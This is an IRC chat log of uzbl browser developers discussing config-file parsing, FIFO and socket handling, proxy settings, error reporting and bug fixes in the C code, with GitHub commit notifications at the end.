20:34 < anydot> 1) you will have still minimally 2 ways to accept commands, read from stdin and socket, also there's userinput via uzbl itself.
20:34 < anydot> 2) you can read config file line by line, instead of reading stdin
20:35 < anydot> 3) you can do that even without using "config via stdin" feature.
20:35 < rob|> Dieterbe: http://rafb.net/p/PitUL331.html
20:35 < Dieterbe> 2 is an okay point. not an advantage, not a disadvantage. just a valid statement
20:35 < anydot> Just think about config file as set of "defaults".
20:36 < anydot> And I'm pro to have config file only as set of command to be feed to uzbl after start.
20:36 < anydot> Maybe with some special, "comment" command.
20:36 < anydot> That's how it's doing vim for example.
20:36 < anydot> And many apps around.
20:37 < Dieterbe> i'm not following. i can't find a disadvantage in any of your 3 points. can you explain why they are disadvantages?
20:38 < anydot> Dieterbe: That wasn't disadvantages of whole stuff, only of the point you write as pros.
20:38 < anydot> Main disantvantage is, that you will not get any advantage.
20:38 < anydot> Also, you will forever then need some wrapper script.
20:39 < dunz0r> aa. wtf. my uzbl just segfaults :(
20:40 < dunz0r> I just built it
20:40 < dunz0r> any ideas
20:40 < dunz0r> the window seemed to "zoom in" just before crashing
20:41 < dunz0r> although it's not even for a half a second that the app window appears so I could be wrong
20:41 < rob|> dunz0r: what branch, how exactly do you launch it?
20:42 < Dieterbe> anydot / rob| : well the idea of reading a config file (not ini-style but same format as what we write now into stdin) is a good idea.  the main thing we want to get rid of is the ini-file handling and unify functions to "set a variable and do the needed actions", no matter where that command comes from.  but we can indeed reach that goal without needing to get rid of the usage of a text file
20:43 < dunz0r> rob|; master branch and I launch it with uzbl --config /usr/share/uzbl/balalbla/sampleconfig --uri archlinux.org
20:43 < dunz0r> hm. it works now
20:43 < dunz0r> odd
20:43 < dunz0r> back to tv brb
20:44 < anydot> Dieterbe: my idea is: one parsing function, to which will goes input via config file, via IPC, from user.
20:44 < rob|> sure, we can still keep the --config option and just hand it over to parse_cmd_line() instead
20:44 < rob|> though, i'm not sure this is easier or better than just "uzbl < config"
20:44 < rob|> Dieterbe: also please report back wether that snippet works for awmenu
20:44 < Dieterbe> i think, maybe the best thing would be to keep the config files in the "new syntax", but instead of piping into stdin, read them line by line. the advantage being we need no wrapper and still can do --config <filename> . however, when launching new instances ("open link in new window") it's not enough to let the new instance read the config if we want the instance to be in the same state. in that case we should "generate the commands to achieve the state" and pipe them into the new instance
20:45 < anydot> You can send that via IPC :)
20:46 < rob|> anydot: not that easily, you'd need to know the name of the fifo/socket
20:46 < Dieterbe> what do you have in mind to do ipc that is easier then writing to stdin?
20:46 < anydot> OK, but that's still solvable. :-)
20:47 < Dieterbe> rob| anydot . rob has a good point about 'uzbl < config'. no wrapper needed. i don't see any disadvantage with what we are doing now
20:48 < rob|> well, the only disadvantage is that you can't a a config that is being loaded from some default path
20:48 < rob|> without a wrapper, that is
20:49 < Dieterbe> rob|: I get: (simple:17659): Gdk-CRITICAL **: gdk_window_set_transient_for: assertion `GDK_IS_WINDOW (window)' failed
20:49 < rob|> hmm, odd
20:50 < Dieterbe> aha
20:50 < rob|> the window member of a gtk widget is supposed to be the gdk window it draws to, or am i wrong here?
20:51 < Dieterbe> i have to put it *after* the gtk_widget_show_all(dialog);
20:51 < Dieterbe> i first put it before
20:51 < rob|> ah ok
20:51 < Dieterbe> works great now :)
20:51 < rob|> nice, another issue solved ;)
20:51 < Dieterbe> you're the best
20:54 < Dieterbe> youknow what. maybe we should just check in the default place (XDG_CONFIG_HOME/..) for a config file, and if there is one there, read it line by line. that would take .. like .. 4 lines?
20:55 < Dieterbe> and since we did that, we might as well keep a --config flag too for those who want it.  but support both reading from stdin and reading a file
20:55 < rob|> right, seems to be a good compromise
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20:56 < dunz0r> hmm. I thought it worked... but it didn't
20:57 < dunz0r> if go to bbs.archlinux.org it segfaults
20:57 < dunz0r> but not if I open google.com
20:58 < rob|> are master and experimental in sync?
20:58 < dunz0r> dunno
20:59 < dunz0r> I'm using master
20:59 < dunz0r> I'll try with experimental instead
20:59 < rob|> never used master, so i can't tell you a lot about it
21:01 < dunz0r> nope. still segfaults/zooms up text and dies on bbs.archlinux.org
21:01 < Dieterbe> well, master will be the least unstable
21:01 < dunz0r> hmm. now I see why. I compiled webkit-light insted of regular webkit
21:01 < dunz0r> and it's an old version
21:01 < dunz0r> silly me :)
21:02 < rob|> oh
21:04 < dunz0r> it's libwebkit=>1.1.4 that uzbl want right?
21:04 < Dieterbe> yes. see INSTALL file
21:05 < Dieterbe> rob|: do you agree that, since we will do "checking in the default place (XDG_CONFIG_HOME/..) for a config file, and if needed, do file reading", we probably also should readd the --config flag? to allow entering the same commands either through the file/stdin/fifo/socket
21:07 < rob|> absolutly, if a config file is demanded we should do it this way imo
21:10 < Dieterbe> okay. this means we now have 4 ways to input commands but i don't really see a problem with that
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21:46 < rob|> yep, we should detail that in documentation
21:47 < rob|> something like "Uzbl puts the user in control. You can alter almost any bit of the browser through four easy to use interfaces ..."
21:48 < Dieterbe> yeah i'll brush up the docs, site etc on friday or in the weekend
21:48 < Dieterbe> first things first :)
21:50 < rob|> right, though please format the README in a better way. all those extrem long lines look rather strange
21:52 < rob|> as a reference i'd suggest to look at the ascii articles from phrack, i adore their ascii style
21:53 < rob|> http://phrack.com/issues.html?issue=65&id=5#article  <-- e.g.
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21:59 < zecrazytux> are you able to load google.fr ?
22:00 < rob|> yes
22:00 < zecrazytux> I can see in the shell that uzbl gets "null" instead of google.fr
22:00 < zecrazytux> it works for other websites
22:01 < zecrazytux> noo
22:01 < zecrazytux> It gets the previous URI
22:01 < zecrazytux> I mean
22:01 < DuClare> o/
22:01 < zecrazytux> I start it without any URI
22:01 < zecrazytux> o google.fr
22:01 < zecrazytux> => null
22:01 < zecrazytux> o zecrazytux.net
22:01 < zecrazytux> => ok
22:01 < zecrazytux> o google.fr
22:02 < zecrazytux> => zecrazytux.net
22:02 < zecrazytux> weird
22:02 < rob|> any config loaded?
22:02 < rob|> experimental branch?
22:03 < rob|> wb DuClare
22:04 < zecrazytux> master or experimental branch
22:05 < zecrazytux> both of them
22:05 < zecrazytux> sample config or mine
22:05 < zecrazytux> (a few changes)
22:05 < rob|> can't reproduce it.
22:06 < rob|> anyways, time to eat - bbl
22:06 < DuClare> 21'36'20 < anydot> And I'm pro to have config file only as set of command to be feed to uzbl after start.
22:07 < neldoreth> had anyone thought about something like adblock for uzbl, or would this be contradictory to the unix philosophy and should be handled by something else
22:07 < DuClare> anydot, If you want some advanced session managed & cleanup stuff, you're likely to use a wrapper anyway
22:07 < DuClare> And, as Dieterbe suggested, sending the config via stdin is simpler than ipc..
22:08 < DuClare> I don't see why it's so bad to do uzbl <cfgfile (or just run the wrapper) rather than add additional lines of code that will only be used when an instance is launched manually..
22:08 < DuClare> Also, /me is tired and in a bad mood. :<
22:15 < DuClare> Don't let it offend you :x
22:18 < zecrazytux> have a drink and listen to good music DuClare :) it helps
22:18 < zecrazytux> am I the only one who can't access to google.fr ?
22:19 < DuClare> Perhaps EU decided to censor your access... it's full of cp and funny cat pictures after all
22:19 < DuClare> Works fine here
22:19 < DuClare> zecrazytux, Does it resolve?
22:20 < zecrazytux> DuClare: of course yes
22:21 < DuClare> Is this an uzbl specific issue?
22:21 < zecrazytux> yes
22:21 < Dieterbe> neldoreth: privoxy
22:21 < zecrazytux> and (www.)?google.(fr|com) is an example, some other websites don't load either
22:22 < zecrazytux> the problem is that the uri is 'null' instead of what I typed
22:23 < zecrazytux> I can verify it by looking at the log (I've added a printf to be sure)
22:23 < DuClare> Uhh o_O
22:24 < neldoreth> Dieterbe: yeah ok
22:24 < DuClare> Privoxy is excellent.
22:27 < neldoreth> i will check it out - so i have to set the proxy to 127.0.0.1:8118 (default privoxy conf) in my uzbl config file right?
22:28 < DuClare> That should do it, yes.  I haven't tried it myself.
22:29 < DuClare> Sorry, I really need some rest. →
22:29 < neldoreth> ok, then no site is loading :D but it works with another browser fine - no problem :)
22:30 < DuClare> If I have the time, I'll try privoxy tomorrow.
22:31 < rob|> neldoreth: just installed privoxy and uzbl runs with that exact setting fine for me
22:32 < neldoreth> hm i tried it with another browser, when i set "proxy_server = 127.0.0.1:8118" no site is loading
22:33 < neldoreth> i mean no site is loading with uzbl then
22:33 < rob|> neldoreth: my config http://rafb.net/p/NGnjf881.html  - also try proxy_server = http://127.0.0.1:8118
22:34 < neldoreth> ok its loading with http:// - thanks
22:34 < rob|> sure thing
22:44 < zecrazytux> neldoreth: does google.fr load ?
22:44 < neldoreth> zecrazytux: yes
22:44 < zecrazytux> :( I am alone
22:57 < rob|> zecrazytux: can you recheck with the config i posted above? just be sure to comment the proxy setting
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08:55 < DuClare> Morning
08:57 < DuClare> Occupied for a few hours :x  After that I'll add the missing vars (fifodir & socket dir)
09:01 < ruskie> :)
09:44 < rob|_> morning.
09:47 < Dieterbe> [heyaaaa
09:49 < ruskie> hmm is there a way to query a running instance of uzbl about: window id, pid, state of what it's doing(loading, loaded, seen(I guess it would need some way of oh I've got focus since I've loaded this page), and possibly any other relevant information i.e. title etc...?
09:50 < ruskie> I'm assuming window id would be needed to be able to switch to that instance
09:50 < ruskie> or is there some other method of doing that?
09:53 < Dieterbe> yeah we will be able to do that with sending 'get' queries over the socket.
09:54 < Dieterbe> but i also still want to look up if it is possible to use some sort of window attributes to store some stuff in, but i'm not sure if that can be done
09:55 < ruskie> there's: name, icon name, class, resource from what I can tell you can play with those
10:01 < ruskie> http://tripie.sweb.cz/utils/wmctrl/ + window id + gtk-server + some shell scripting and there's an app to have a at a glance overview
10:02 < ruskie> I guess each instance would need an internal state for has_been_focused_after_load if that's not to much to ask
10:10 < rob|_> i'm in the process of moving all that soup stuff to the cmd parser, who wrote that part initially? i might have some questions
10:14 < Dieterbe> which part exactly?
10:14 < rob|_> proxy setting and soup relevant stuff
10:15 < Dieterbe> IIRC that was sm217
10:15 < rob|_> i'm not sure how to handle the SOUP_SESSION_REMOVE_FEATURE_BY_TYPE thing in order to alter proxy setting on the fly
10:16 < ruskie> hmm will it bo possible to have multiple proxy setups defined and be able to switch between them? or anly as different configs and use that config?
10:16 < Dieterbe> ruskie> I guess each instance would need an internal state for has_been_focused_after_load if that's not to much to ask -> what i had in mind was a state variable that would be one of: loading, pending, viewed. where the latter 2 are loaded but differ in whether the new page has been seen or not
10:16 < ruskie> I'd be happy with that
10:16 < Dieterbe> rob|_: i don't know either
10:17 < ruskie> and yeah one state variable makes more sense... just check what it's set to and act accordingly... and it would allow for possible more states if there is any need
10:17 < Dieterbe> ruskie: on the other hand, 2 booleans (loaded, viewed) would be a good alternative
10:17 < rob|_> ruskie: you'll be able to change proxies on demand: echo "set proxy_url = xxxx" > fifo
10:18 < rob|_> ruskie: that will take care of any actions needed to use the new proxy
10:18 < ruskie> Dieterbe, and assume loading is when both are false?
10:19 < Dieterbe> ruskie: scratch the booleans, you're right. one var is better
10:19 < ruskie> rob|_, was more thinking: have a proxy that goes through tor another that doesn't one that goes through something else etc...
10:19 < ruskie> and easily switch between them without having to type them in each time
10:20 < ruskie> though this could be in an external proxy manager I guess
10:21 < rob|_> right, this should be done by an external script/app
10:21  * Dieterbe nods
10:21 < ruskie> ok
11:04 < rob|_> http://github.com/robm/uzbl/commit/058b72031ff55a2ec320af4ec505c2559fad21dd
11:05 < rob|_> you can delete the proxy with "set proxy_url = "
11:09 < Dieterbe> 1500 lines :o
11:09 < Dieterbe> i was hoping we could have most features implemented and have uzbl.c <2k lines
11:10 < Dieterbe> but i'll have to reconsider that, i think :)
11:10 < Dieterbe> (not to mention we should split up files)
11:11 < rob|_> well, i didn't remove the code that parses the config file, yet. that will also get rid of quite a few lines
11:12 < Dieterbe> ah
11:12 < rob|_> will do so as soon as we have integrated all relevant vars into the cmd parser
11:14 < Dieterbe> good thing i took a day off tomorrow :)
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11:14 < rob|> hehe
11:15 < rob|> i guess you'll to deal with a quite a few merge conflicts ;)
11:15 < rob|> +have
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11:15 < Dieterbe> bring it on! :P
11:15 < rob|> cosidering duclare and me are working on the same stuff
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11:18 < rob|> in the process of moving the proxy stuff i could get rid of at least one memory leak
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11:20 < Dieterbe> well, from my old C courses I remember one always needs to free memory when having allocated it on the stack before. if i can do all of that myself i'm good.  But with all this glib functions I find it hard to know when I should new() something or pass a NULL pointer to a glib function, whether the glib function allocates memory that i should free, whether the glib function frees memory for me etc
11:20 < Dieterbe> are their some conventions for this, to know when a glib function does what, and how to know what i'm expected to do?
11:21 < rob|> hmm, not sure. genrally the docu for the speficif functions state what should be done
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11:24 < rob|> btw, the str replacement in the user agent string is horrible. we need to find a better method
11:25 < rob|> currently it allocates a buffer in the hope that it won't overflow
11:25  * Dieterbe puts reading http://developer.gnome.org/doc/GGAD/cha-glib.html on his todo list
11:26 < Dieterbe> rob|: can't we use the same function as the one for the statusbar?
11:26 < rob|> we can't use the same but a similar one would be possible
11:28 < Dieterbe> my idea was to keep it simple and have one str_replace function that replaces any variable in any string. so you could technically put your webkit version in your statusbar, or the current uri in your user agent string, if you would want that
11:29 < Dieterbe> not really needed as a feature towards the user, but why not do it, as it keeps the code simple
11:31 < rob|> i see, well we could use guard variables to avoid getting statusbar symbols into the user agent string - then i guess we could even use the same parsing function
11:32 < Dieterbe> why would need to explicitly prevent that?
11:33 < rob|> hmm, actually just to protect the user, though we could as well allow that
11:33 < rob|> so any symbols can go anywhere and we just use one set of general symbols
11:34 < rob|> seems reasonable
11:36 < Dieterbe> yeah that's my plan
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12:33 < DuClare> <-
12:33 < DuClare> Had to install windows. :x
12:33 < DuClare> I'll get a cup of coffee and start coding then. :]
12:37 < DuClare> Dieterbe, rob|: I have merged rob's stuff quite regularly so there won't be too many conflicts if Dieterbe merges my branch when we're done
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12:45 < rob|> DuClare: wb, you gonna take care of fifo and socket_path?
12:46 < DuClare> Yup
12:46 < rob|> ok, so we need to unlink and recraete them
12:46 < DuClare> Yup
12:47 < rob|> i will look into integrating all of the network stuff, proxy_url is working already
12:47 < rob|> i also made a wrapper var_is(char *x, char *y) around strcmp()
12:47 < rob|> looks cleaner than tons of strcmp calls
12:48 < DuClare> Yup, I noticed it while merging. :)
12:48 < rob|> ok
12:51 < rob|> do you intend to replace the static buffers with dynamically allocated ones?
12:52 < rob|> i guess we could make use of g_strdup_printf() in build_stream_name() in that case
12:54 < rob|> that will never overflow and take care of the allocation on its own
12:54 < DuClare> Yeah
12:55 < rob|> ok, just ping me when you're done. will merge your branch then and add the remaining network stuff
13:01 < rob|> Dieterbe: would you like to take care of the useragent stuff we discussed earlier?
13:05 < DuClare> Hmm
13:05 < DuClare> Are the strings initialized to null by default?
13:05 < DuClare> Sorry, gchar pointers
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13:05 < jelly12gen> hi
13:06 < jelly12gen> i am trying the browser atm, but if i press shift + F , i get numbers for links but how do i insert the number just typing 12 doesnt work
13:06 < rob|> DuClare: don't think so
13:06 < DuClare> jelly12gen, f12
13:07 < DuClare> Read the config file
13:08 < jelly12gen> DuClare: i get it
13:09 < DuClare> rob|, Hmm.  Does it hurt if I make build_stream_name actually set fifo_dir to /tmp/ if it's unset?
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13:13 < DuClare> I don't like variables that are unset but still have a value, sort of.. :)
13:15 < DuClare> Actually, I'll handle fifo_dir in another place.
13:17 < DuClare> Hmm.
13:24 < rob|> i'm not sure wether you need to call g_io_unref() on unlinking, just have an eye on that
13:26 < rob|> g_io_channel_unref that is
13:32 < Dieterbe> rob|: i would like to take care of a lot of stuff :) but unless that's a blocker i would like to focus on more urgent stuff first (cookies&awmenu)
13:33 < Dieterbe> s/awmenu/multiple instances managament (incl awmenu)/
13:33 < DuClare> I'd like to see awmenu grow usable. :)
13:33 < rob|> well, it's a blocker in the sense that it would still use the broken str_replace method
13:34 < rob|> i hoped you would rewrite it to use the scanner
13:34 < rob|> instead
13:36 < rob|> this can be done at a later point in time, though
13:36 < Dieterbe> rob|> ok, so we need to unlink and recraete them <-- in which situation do you want to unlink a fifo? when you set the variable to a new value (eg there was a value before) right? and only then, right? (not at program startup)
13:37 < rob|> right, recreate them only if fifo_path holds a value. on startup we should use the same method as we do now.
13:37 < Dieterbe> ok
13:38 < rob|> i think you can just use build_stream_name() to take care of that
13:39 < rob|> it checks for fifo_dir anyways. oh and uzbl.behave.fifo_dir should also be included in the var array. if set to 0 unlink the fifo and do not recreate it
13:40 < rob|> that's the currently used logic, right?
13:41 < rob|> s/0/empty string/
13:43 < rob|> DuClare: note the regex does not match the empty string in its 3. argument. you'd have to check for ' ' (i.e. string begins with space) to detect a unset value
13:44 < rob|> that is rather sane as we don't have to cope with freeing uninitialized memory
13:47 < DuClare> Hmm.
13:47 < DuClare> Defaulting to /tmp doesn't really make sense because if you never set the dir, the fifo will not be created
13:47 < DuClare> Should unsetting fifo_dir remove the fifo altogether?
13:48 < rob|> imo yes
13:48 < DuClare> Okay
13:48 < DuClare> So here's how it's going to work:
13:48 < Dieterbe> maybe we should think if we really need 2 vars (*_path and *_dir)
13:48 < Dieterbe> i think we only need one
13:49 < Dieterbe> no wait, that is probably not correct
13:49 < DuClare> "SET fifo_dir <foo>" will either 1) unset the fifo altogether  or 2) remove fifo if it exists and then re-create it
13:49 < DuClare> And that'll be the only way to create & alter the fifo
13:50 < rob|> ok, this means we cannot alter the instance name at runtime, right?
13:51 < DuClare> Why not?
13:51 < Dieterbe> why not allow str_replacing fifo_dir? so you could do: "set fifo_dir /tmp/uzbl_WINDOW_ID_NAME", this gives more control over naming the fifo (you can name your instance but still use your window id in the file for example), and you can set the directory at once
13:51 < rob|> because instance_name is part of the fifo name
13:51 < rob|> if set
13:51 < DuClare> Dieterbe, Is it worth it?
13:52 < rob|> i.e. you'd need to recreate the fifo if instance_name is being changed
13:52 < rob|> too
13:52 < DuClare> rob|, Well, we can make 1) name changes update the fifo name or 2) keep using the old fifo whose path is stored in fifo_path
13:53 < rob|> well, the whole purpose of the name is to be able to easily identify the corresponding fifo
13:53 < rob|> so we'd need to recreate it
13:53 < Dieterbe> i would use my method. and everytime _any_ property changes, regenerate the fifo name and compare with current. if they differ, do the fifo changing stuff
13:54 < DuClare> Let's see.  Do we need to change names in the first place?
13:54 < rob|> this can get a bit hairy, though. say we have 2 uzbl instances running and a user sets both to the same name
13:54 < rob|> in that case we should keep the old fifo name and generate a meaningful error
13:54 < Dieterbe> rob|: that is exactly why i think user must have more control over the naming. not just "use the name if set, otherwise xorg window id"
13:55 < Dieterbe> rob|: btw, the goal of names was to uniquely identify single instances.  so running instances with the same name is bad practice
13:56 < rob|> that might be true, but we cannot control what users do
13:56 < rob|> the functions should be safe to use even in that case
13:57 < Dieterbe> i don't want to control what users do.  if we say that names purpose is to uniquely identify single instances, and they should not run more then once instance with the same name, then it's their own fault if things go wrong because of that
13:57 < Dieterbe> similar to how linux should not try to prevent users from deleting files that may be important.
13:57 < Dieterbe> it would be their own fault.
13:58 < rob|> if uzbl segfaults on that then it is our fault!
13:59 < rob|> no user action must lead to segfaults or undefined behaviour it's our part of the game to make sure this is true
13:59 < Dieterbe> ok. then we just generate an error when the user wants to change fifo/socket/.. to something that already exists (and it's not ours at that point) and we keep it 
14:00 < rob|> exactly
14:27 < DuClare> Meh.  Do we have to check permissions and such?
14:29 < Dieterbe> nah. just error if it fails
14:29 < Dieterbe> it's the users task to make sure we can write where he tells us to
14:40 < DuClare> Hmm.
14:41 < DuClare> Is it settings_init that initializes our strings to NULL if they're not set in the config?  Or would they be null anyway?
15:09 < DuClare> Hm, got one lesson to attend to.  I'll be back in approx. 2 hours →
15:10 < Dieterbe> have fun
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17:20 < DuClare> Back, hungry.
17:23 < Dieterbe> welcome back
17:42 < Dieterbe> almost 3day weekend for me :)
17:46 < DuClare> My weekends are normally three days
17:48 < Dieterbe> oooh
17:48 < Dieterbe> lucky students :)
17:52 < DuClare> Umm
17:52 < DuClare> Should g_error make the application quit
17:58 < DuClare> Should
17:59 < DuClare> So we shouldn't use g_error when a fifo can't be created. :]
18:00 < DuClare> Mmm
18:03 < DuClare> Or should we?
18:04 < DuClare> IMHO making the browser quit if the fifo fails is not nice
18:04 < DuClare> The fifo might be important but it's not critical.
18:07 < Dieterbe> yes it is
18:07 < DuClare> Is?
18:07 < Dieterbe> if the user asks us to make a fifo and we can't do it, aborting is fine
18:07 < Dieterbe> http://library.gnome.org/devel/glib/unstable/glib-Message-Logging.html#g-error
18:07 < DuClare> Why is it better than just giving a nice error message and continuing normally?
18:07 < Dieterbe> ^^ seems like g_error will indeed abort the app
18:08 < DuClare> Yes, I read that
18:08 < Dieterbe> i'm not sure rob was aware of that
18:08 < Dieterbe> rob|: ?
18:08 < DuClare> Umm, so do you want to terminate or just print error? :x
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18:09 < Dieterbe> if we cannot do anything the user wants, we should abort (eg g_error)
18:09 < Dieterbe> for less critical errors, i propose g_warning
18:09 < DuClare> Should we abort if the user tries to open a site whose domain doesn't resolve?
18:09 < Dieterbe> no
18:10 < Dieterbe> that would be a warning
18:10 < Dieterbe> hmm, you make me think now
18:10 < Dieterbe> maybe we should use g_warnings for fifo too
18:11 < DuClare> Or maybe even add a wrapper function which decides what to do based on the user's config
18:11 < DuClare> set abort_on_error
18:12 < Dieterbe> hmmmmmm, i think you can't really do "one setting that fits all"
18:12 < DuClare> Maybe not
18:12 < Dieterbe> because not being able to load a uri is not as bad as not being able to create a fifo
18:12 < DuClare> Technically, the fifo *might* be extremely critical as external scripts might start failing and behaving badly.
18:12 < DuClare> But on the other hand..
18:13 < Dieterbe> i think it depends on the "source of the command" : if you change the fifo name or uri interactively yourself, you rather want a warning
18:13 < DuClare> The scripts should have some internal robustness, and "crashes" during browsing aren't nice if it's reasonable to believe that one can still continue browsing ...
18:13 < DuClare> That'd be nice, but too complicated
18:13 < Dieterbe> but if such commands get in through stdin (eg: when starting the app), they are more critical
18:14 < Dieterbe> lets keep it on warnings then
18:14 < Dieterbe> unless we find a good reason to use g_error in some cases
18:14 < DuClare> Or rather.. I mean, how many people would change the fifo interactively?  Is it worth adding functionality that checks whether it's interactive or not..
18:14 < DuClare> Mmmm
18:14 < DuClare> I can't decide
18:14 < Dieterbe> let's just use warnings for now
18:14 < Dieterbe> i'm driving home. se you later
18:15 < DuClare> o/
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19:22 < Dieterbe> wuzaaaaa
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19:23 < dodobas> nothing, watching Scary movie :D
19:26 < DuClare> Refactoring some code.. :>
19:27 < Dieterbe> good. i hope to do some merging later this evening
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20:03 < Sh1fty> http://pastebin.com/m44cae49e
20:03 < Sh1fty> a small script to create a tar.gz source file, in case anyone needs it
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20:29 < Dieterbe> uhm, you can download tarballs straight from github
20:36 < Sh1fty> i kinda missed the link :D
20:37 < Sh1fty> ah
20:37 < Sh1fty> there is no direct link
20:38 < Sh1fty> it creates a new file after each commit with a different path
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20:44 < Dieterbe> it think it generates the tarbal on the fly when it's requested. not sure though
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20:54 < DuClare> Okay, I think I got rid of some problems that we had with sockets
20:54 < Dieterbe> hmh?
20:54 < DuClare> It had broken error checking
20:54 < DuClare> :>
20:55 < DuClare> And I can set both socket_dir and fifo_dir on the fly however many times I want to, and it looks quite robust.
20:55 < DuClare> There's no expansion for NAME and such yet
20:55 < Dieterbe> can you show me the commit where you fixed/changed this?
20:55 < dodobas> o Sh1fty :D
20:55 < DuClare> Dieterbe, It's quite huge. :)
20:55 < DuClare> I'll show it in a sec
20:56 < DuClare> Dieterbe, If you care, it's the line where it checks if errno == -1
20:56 < DuClare> While it should check if mkfifo (iirc) returns -1
20:59 < DuClare> Dieterbe, http://github.com/DuClare/uzbl/commit/44ec7396369ae42cfbe056f084318f9e2f2f3016
21:06 < Dieterbe> holy moly
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21:14 < DuClare> rob|_, I have a faint memory of you telling me to ping you when I'm done with something.. sadly the backlog went to /dev/null (~/irclogs actually, but I'm feeling lazy) when k3b froze my computer. :x
21:15 < DuClare> rob|_, What is left to be done with useragent, max_conns, max_conns_host and http_debug?
21:15 < DuClare> If there's no magic involved, I can fix them while I'm at it..
21:17 < DuClare> Dieterbe, If I haven't forgotten anything, I think we've brought the new cfg system on par with the old one, unless the four vars I asked rob about need something complicated
21:21 < Dieterbe> nah they are not that special
21:22 < Dieterbe> i'll start merging in your+rob stuff into my tree soon
21:23 < DuClare> Okay, well, I'll try writing the four missing handlers
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21:40 < DuClare> Crap
21:41  * DuClare stares at the user_agent code in settings_init
21:41 < DuClare> Dieterbe, I have a proposal
21:42 < Dieterbe> hm?
21:42 < Dieterbe> go ahead
21:42 < DuClare> Dieterbe, Get rid of most of the cool useragent stuff and let the users do that with an external script
21:43 < DuClare> I'm talking about the webkit versions, sysnames, kernel versions and blarg
21:43 < Dieterbe> why?
21:43 < DuClare> There are too many of them yet they're not enough if you've got a fancy system or fancy desires.
21:43 < DuClare> Easy enough to do in bash?
21:44 < Dieterbe> and how would one easily generate the user agent. i mean.. would uzbl have a .. user-agent-handler script?
21:45 < DuClare> Dieterbe, echo "SET useragent = <foo>" > fifo
21:45 < DuClare> Replace echo with a suitable (bash) script
21:46 < Dieterbe> hmmzzz
21:46 < Dieterbe> i'm not sure. on one hand this makes things a bit more flexible, on the other hand it makes things a bit more complicated
21:47 < DuClare> Imho user agent expansion in the C code is an unneccessary complication.. :x
21:47 < Dieterbe> especially for a simple variable like a user agent it seems a bit silly to have to use scripts to customize it
21:48 < DuClare> Dieterbe, If you're happy with a constant string, then put the constant in your config :)
21:48 < DuClare> Along with the other SETs
21:48 < Dieterbe> no. i do _not_ want any user configuration happen by rebuilding the app
21:48 < DuClare> I didn't say that
21:49 < Dieterbe> then what did you mean? don't allow user to customize it?
21:50 < DuClare> Allow the user to set it to any string using a SET statement in his config (that gets piped).  If he doesn't want the system to automatically expand version numbers and all, then that's enough.  If he wants automatically expanded vars, he can write (or wait for somebody else) to write a bash script that does it for him
21:51 < DuClare> Meheh, broken sentences again.  Too little sleep..
21:52 < Dieterbe> hmm.. well, i don't like the fact that you either need : 1) to update your config, 2) package manager calls/package database queries .. everytime one updates his libwebkit/uzbl and wants to have the version in there
21:54 < Dieterbe> furthermore i don't think the code is that ugly
21:55 < DuClare> Fine
22:04 < sentientswitch> firefox just had some kind of memory leak for ~1GB of RAM 0_0
22:04 < Dieterbe> nice :) go FF
22:05 < sentientswitch> p.s. uzbl is shaping up really well, good work guys :)
22:05 < sentientswitch> may be able to contribute a little when finals are over...
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22:30 < DuClare> rob|_, Umm... I've got a ridiculous bug o_OO  Setting uzbl.behave.http_debug using our shiny SET system also sets uzbl.behave.commands to 0 o_O
22:31 < Dieterbe> hmm doesn't "uri <foo>" work anymore in the "console" ? I always get: Command not understood (uri set uri bbs.archlinux.org)
22:31 < Dieterbe> (with robs code)
22:31 < DuClare> Dieterbe, set uri foo
22:31 < Dieterbe> tried that too
22:31 < DuClare> Sorry
22:31 < DuClare> set uri = google.com
22:32 < Dieterbe> oh my mistake, i typed it in the dmenu thing ><
22:32 < Dieterbe> i don't think anyone will actually ever type something like "set uri = .." in the console. if you press 'u' you get dmenu and you can type away :)
22:33 < Dieterbe> i can't even type 'set' because the 's' is eaten because s is bound to stop
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22:37 < DuClare> rob|_, Okay, I found the problem
22:38 < DuClare> rob|_, strtoul gives a long integer .. which, at least on my system, is larger than guint.  Therefore it also affects commands, which is the next element in the structure
22:38 < DuClare> rob|_, Who knows where else this might be happening.. definitely not a safe thing to do.  How should we handle this? o_O
22:42 < DuClare> rob|_, We could either normalize all the integer values.. which will be messy with all the casting when they get used.  Or maybe just dump the strtoul thingy and add per-name handlers :/
22:43 < Dieterbe> uzbl.behave.never_reset_mode .. hhmmzzz
22:44 < DuClare> Yep, it happens elsewhere..
22:45 < DuClare> Dieterbe, Feel free to invent a better name.. :>  If you enable it, uzbl won't auto-switch to command mode on page load
22:46 < Dieterbe> oh.. well it's just not a mode
22:46 < Dieterbe> uzbl.behave.reset_commandmode or something
22:49 < Dieterbe> DuClare: what's the purpose of examples/duclare/uzbl.conf ? is this your personal config?
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22:52 < DuClare> Dieterbe, Yeah, though outdated.  I put it there when I wrote the session script for igglyb
22:54 < DuClare> rob|_, It appears that we don't need long ints .. at least for the time being.  I'd use atoi and make sure every integer is gint or guint.  Perhaps make them all int.
22:55 < Dieterbe> DuClare: does it contain something special that you think belongs in the example configs? we already have sample configs. i find it quite ugly to have yours there which looks mostly the same as the other one
22:55 < DuClare> No, I don't think there's anything special in it
22:56 < Dieterbe> k
22:58 < DuClare> Uhh...
23:01 < DuClare> Umm, using atoi & int doesn't fix it. :x
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23:16 < DuClare> The bug won.  DuClare goes to bed.  Good night.
23:17 < Dieterbe> DuClare: okay. i just merged and pushed btw
23:18 < DuClare> Hmm
23:20 < DuClare> Did you have any conflicts?
23:20 < Dieterbe> nope. none at all :)
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23:21 < github> uzbl: Robert Manea experimental SHA1-c0ba28c
23:21 < github> reverted test setting in sampleconfig-dev
23:21 < github> http://bit.ly/zZszr
23:21 < github> uzbl: Robert Manea experimental SHA1-aea6a23
23:21 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl
23:21 < github> http://bit.ly/10ilnZ
23:21 < github> uzbl: Robert Manea experimental SHA1-2e724c4
23:21 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl
23:21 < DuClare> I had pulled all of rob's changes quite regularly.. right
23:21 < github> http://bit.ly/ojV7x
23:21 < github> uzbl: Robert Manea experimental SHA1-82f4dce
23:21 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl
23:21 < github> http://bit.ly/YtIG7
23:21 < github> uzbl: Robert Manea experimental SHA1-c771bc2
23:21 < github> removed [] around progress bar
23:21 < Dieterbe> DuClare: yeah i guess that's why it went so clean for me :)
23:21 < github> http://bit.ly/g2xXY
23:21 < github> uzbl: Dieter Plaetinck experimental SHA1-e327c8d
23:21 < github> Merge commit 'rob/master' into experimental
23:21 < github> http://bit.ly/10leIR
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23:27 < Dieterbe> good night all
23:28 < DuClare> Hoooray
23:28 < DuClare> rob|_, I found a fix. :)
